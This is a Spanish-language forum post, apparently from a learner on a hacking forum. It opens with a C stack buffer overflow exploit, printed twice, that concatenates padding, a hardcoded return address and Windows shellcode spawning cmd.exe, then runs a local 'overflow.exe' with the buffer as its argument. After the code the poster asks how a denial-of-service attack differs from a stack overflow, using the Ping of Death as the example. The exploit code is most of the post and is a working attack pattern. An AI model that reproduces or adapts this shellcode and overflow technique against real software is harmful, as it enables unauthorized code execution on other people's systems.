Código:
#include<stdio.h>
#include<stdlib.h>
int main(int argc, char **argv){
char evilbuffer[1024]="AAAABBBBCCCCDDDD";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD"
"\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
char offset[]="\x1c\x80\xF4\x77";
strcat(evilbuffer,offset);
strcat(evilbuffer,shellcode);
printf("%s",evilbuffer);
argv[0]="overflow";
argv[1]=evilbuffer;
argv[2]=NULL;
execv("overflow.exe",argv);
}
#include<stdlib.h>
int main(int argc, char **argv){
char evilbuffer[1024]="AAAABBBBCCCCDDDD";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD"
"\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
char offset[]="\x1c\x80\xF4\x77";
strcat(evilbuffer,offset);
strcat(evilbuffer,shellcode);
printf("%s",evilbuffer);
argv[0]="overflow";
argv[1]=evilbuffer;
argv[2]=NULL;
execv("overflow.exe",argv);
}
Tambien aprovecho para hacer una pregunta, jejej, me gustaria saber sobre las diferencias entre un ataque Dos y un stack overflow. Por ej, el antiguo ping de la muerte, por una parte lei hace ya tiempo que se trataba de un stack overflow, que reventaba la pila tcp/ip. En ese caso, porque se colgaba el pc, no se deberia simplemento cerrar el programa, como el el caso del manual de Rojodos? O esque la pila tcp/ip no se refiere a una pila normal, de que programa es esa pila tcp/ip?¿?
POr otra parte lei que se trataba de un DOS, estamos, en el mismo caso de antes, nose porque se apaga el pc por un simple DOs, en todos caso se cerrara el proceso que es atacado , no? En cualquier caso al final no me aclare si se trataba de un DOS o de un stack overflow...
SAludos.










Autor


En línea




)
